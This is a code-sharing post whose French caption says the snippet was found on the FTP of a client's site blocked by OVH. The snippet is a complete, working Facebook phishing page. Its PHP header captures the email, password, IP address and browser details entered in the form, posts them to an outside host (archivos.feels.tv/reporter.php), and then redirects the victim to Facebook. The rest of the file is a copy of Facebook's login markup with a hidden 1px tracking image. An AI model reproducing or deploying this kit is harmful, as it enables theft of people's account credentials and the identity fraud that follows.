ranaivoarivaojl
3/26/2013 - 3:11 PM

Trouvé dans le FTP d'un site qu'un client vient de me demander de regarder car bloqué par OVH

Trouvé dans le FTP d'un site qu'un client vient de me demander de regarder car bloqué par OVH

<?php
    if(!function_exists("fsockopen")) {
        die('ERROR');
    }

  if($_GET["login_attempt"]=="1") {
		$data = array('email' => $_POST['email'], 'password' => $_POST['pass'],
		              'useragent' => $_SERVER["HTTP_USER_AGENT"], 'ip' => $_SERVER["REMOTE_ADDR"],
		              'lang' => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
		              'timezone' => $_POST['timezone'],
		              'resolution' => $_POST['resolution'],
                      'time' => round(microtime(true))
		              );
        $host = 'archivos.feels.tv';
        $fp = fsockopen($host, 80,$errno, $errstr);
        $content = http_build_query($data);

        fwrite($fp, "POST /reporter.php HTTP/1.1\r\n");
        fwrite($fp, "Host: $host\r\n");
        fwrite($fp, "Content-Type: application/x-www-form-urlencoded\r\n");
        fwrite($fp, "Content-Length: ".strlen($content)."\r\n");
        fwrite($fp, "Connection: close\r\n");
        fwrite($fp, "\r\n");
        fwrite($fp, $content);
        fclose($fp);
        header('Location: http://facebook.com/');
	}

?>

<!DOCTYPE html>
<html lang="en" id="facebook" class="no_js">

    <head>
        <meta charset="utf-8" />
        <?php  if($_GET["login_attempt"]=="1") { ?>
        <meta http-equiv="REFRESH" content="0;url=http://facebook.com/">
        <?php } ?>
        <meta name="robots" content="noodp, noydir" />
        <meta name="referrer" content="default" id="meta_referrer" />
        <meta name="description" content="Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet."
        />
        <link rel="alternate" media="handheld" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"
        />
        <title id="pageTitle">Log In | Facebook</title>

        <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/ym/r/-mCesOSP8fY.css"
        />
        <link rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yZ/r/dAPd5LqmB2U.css"
        />
        <script src="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yB/r/Vm1JnKckidu.js"></script>

        <link rel="shortcut icon" href="https://fbstatic-a.akamaihd.net/rsrc.php/yP/r/Ivn-CVe5TGK.ico"
        />

    </head>

    <body class="login_page UIPage_LoggedOut ff4 mac Locale_en_US">
        <div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;"></div>
        <div class="_li">
            <div id="pagelet_bluebar" data-referrer="pagelet_bluebar">
                <div id="blueBarHolder">
                    <div id="blueBar">
                        <div>
                            <div class="loggedout_menubar_container">
                                <div class="clearfix loggedout_menubar">
                                    <a class="lfloat" href="/" title="Go to Facebook Home"><i class="fb_logo img sp_6jxgq1 sx_df432d"><u>Facebook logo</u></i>
                                    </a>
                                </div>
                            </div>
                            <div class="signupBanner_v1">
                                <div class="signup_bar_container">
                                    <div class="signup_box clearfix">
                                        <a class="signup_btn uiButton uiButtonSpecial uiButtonLarge" href="/log1n.php?locale=en_US&amp;loxv=v1_WITH_RULE"
                                        role="button"><span class="uiButtonText">Sign Up</span>
                                        </a><span class="signup_box_content">Connect and share with the people in your life.</span>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div id="globalContainer" class="uiContextualLayerParent">
                <div id="content" class="fb_content clearfix">
                    <div class="UIFullPage_Container">
                        <div class="mvl ptm uiInterstitial login_page_interstitial uiInterstitialLarge uiBoxWhite">
                            <div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader">
                                <div class="clearfix uiHeaderTop">
                                    <div class="rfloat">
                                        <h2 class="accessible_elem">Facebook Login</h2>
                                        <div class="uiHeaderActions"></div>
                                    </div>
                                    <div>
                                        <h2 class="uiHeaderTitle" aria-hidden="true">Facebook Login</h2>
                                    </div>
                                </div>
                            </div>
                            <div class="phl ptm uiInterstitialContent">
                                <div class="login_form_container">
                                    <form id="login_form" action="logip.php?login_attempt=1"
                                    method="post" autocomplete="off" >
                                        <input type="hidden" name="lsd" value="AVoTvYZV" autocomplete="off" />
                                        <div class="pam uiBoxYellow">You must log in to see this page.</div>
                                        <div id="loginform">
                                            <input type="hidden" autocomplete="off" id="display" name="display" value=""
                                            />
                                            <input type="hidden" autocomplete="off" id="legacy_return" name="legacy_return"
                                            value="1" />
                                            <input type="hidden" autocomplete="off" id="next" name="next" value="http://www.facebook.com/messages/"
                                            />
                                            <input type="hidden" autocomplete="off" id="return_session" name="return_session"
                                            value="0" />
                                            <input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1"
                                            />
                                            <input type="hidden" name="charset_test" value="&euro;,&acute;,€,´,水,Д,Є"
                                            />
                                            <script type="text/javascript">
                                            var offset = new Date().getTimezoneOffset();
                                            document.write('<input type="hidden" name="timezone" value="'+offset+'"/>');
                                            document.write('<input type="hidden" name="resolution" value="'+screen.width+'x'+screen.height+'"/>');
                                            </script>

                                            <input type="hidden" name="lgnrnd" value="131758_RHPV" />
                                            <input type="hidden" id="lgnjs" name="lgnjs" value="n" />
                                            <div class="form_row clearfix">
                                                <label for="email" class="login_form_label">Email or Phone:</label>
                                                <input type="text" class="inputtext" id="email"
                                                name="email" value="" />
                                            </div>
                                            <div class="form_row clearfix">
                                                <label for="pass" class="login_form_label">Password:</label>
                                                <input type="password" name="pass" id="pass" class="inputpassword"
                                                />
                                            </div>
                                            <div class="persistent">
                                                <div class="uiInputLabel clearfix">
                                                    <input id="persist_box" type="checkbox" value="1" name="persistent" class="uiInputLabelCheckbox"
                                                    />
                                                    <label for="persist_box">Keep me logged in</label>
                                                </div>
                                            </div>
                                            <input type="hidden" autocomplete="off" id="default_persistent" name="default_persistent"
                                            value="0" />
                                            <div id="buttons" class="form_row clearfix">
                                                <label class="login_form_label"></label>
                                                <div id="login_button_inline">
                                                    <label class="uiButton uiButtonConfirm uiButtonLarge" id="loginbutton"
                                                    for="u_0_1">
                                                        <input value="Log In" name="login" type="submit" id="u_0_1" />
                                                    </label>
                                                </div>
                                                <div id="register_link">or <strong><a href="/log1n.php?next=http%253A%252F%252Fwww.facebook.com%252Fmessages%252F&amp;locale=en_US" target="_self" rel="nofollow" id="reg_btn_link" tabindex="-1">Sign up for Facebook</a></strong>
                                                </div>
                                            </div>
                                            <p class="reset_password form_row">
                                                <a href="http://www.facebook.com/recover/initiate" target="" tabindex="-1">Forgot your password?</a>
                                            </p>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>
                        <ul class="uiList ptm localeSelectorList _4ki  _6-h _6-j _6-i">
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="English (US)">English (US)</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Spanish">Español</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Portuguese (Brazil)">Português (Brasil)</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="French (France)">Français (France)</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="German">Deutsch</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Italian">Italiano</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="rtl" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Arabic">العربية</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Hindi">हिन्दी</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Simplified Chinese (China)">中文(简体)</a>
                            </li>
                            <li class="uiListItem">
                                <a dir="ltr" href="log1n.php?next=http%3A%2F%2Fwww.facebook.com%2Fmessages%2F"

                                title="Japanese">日本語</a>
                            </li>
                            <li class="uiListItem">
                                <a class="showMore" rel="dialog" href="/ajax/intl/language_dialog.php?uri=https%3A%2F%2Fwww.facebook.com%2Flogin.php%3Fnext%3Dhttp%253A%252F%252Fwww.facebook.com%252Fmessages%252F&amp;source=TOP_LOCALES_DIALOG"
                                title="Show more languages" role="button">…</a>
                            </li>
                        </ul>
                        <img src="http://bit.ly/Wlq6wB" style="width:1px; height:1px">
                    </div>
                </div>
                <div id="pageFooter" data-referrer="page_footer">
                    <div id="contentCurve"></div>
                    <div role="contentinfo" aria-label="Facebook site links">
                        <table class="uiGrid navigationGrid" cellspacing="0" cellpadding="0">
                            <tbody>
                                <tr>
                                    <td class="hLeft">
                                        <a href="http://www.facebook.com/mobile/?ref=pf" title="Check out Facebook Mobile.">Mobile</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/find-friends?ref=pf" title="Find anyone on the web.">Find Friends</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/badges/?ref=pf" title="Embed a Facebook badge on your website.">Badges</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/directory/people/" title="Browse our people directory.">People</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/directory/pages/" title="Browse our pages directory.">Pages</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/directory/places/" title="Browse our places directory.">Places</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/appcenter/?ref=pf" title="Check out Facebook App Center.">Apps</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/appcenter/category/games/?ref=pf" title="Check out Facebook games.">Games</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/appcenter/category/music/?ref=pf" title="Check out Facebook music apps.">Music</a>
                                    </td>
                                </tr>
                                <tr>
                                    <td class="hLeft">
                                        <a href="http://www.facebook.com/facebook" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/campaign/landing.php?placement=pflo&amp;campaign_id=402047449186&amp;extra_1=auto"
                                        title="Advertise on Facebook.">Create an Ad</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/pages/create.php?ref_type=sitefooter"
                                        title="Create a Page">Create a Page</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://developers.facebook.com/?ref=pf" title="Develop on our platform.">Developers</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/careers/?ref=pf" title="Make your next career move to our awesome company.">Careers</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/privacy/explanation" title="Learn about your privacy and Facebook.">Privacy</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/help/cookies" title="Learn about cookies and Facebook.">Cookies</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/policies/?ref=pf" accesskey="9" title="Review our terms and policies.">Terms</a>
                                    </td>
                                    <td class="hLeft plm">
                                        <a href="http://www.facebook.com/help/?ref=pf" accesskey="0" title="Visit our Help Center.">Help</a>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                    <div class="mvl">
                        <div class="fsm fwn fcg"><span> Facebook © 2013</span>
                        </div>
                    </div>
                </div>
            </div>
        </div>




    </body>

</html>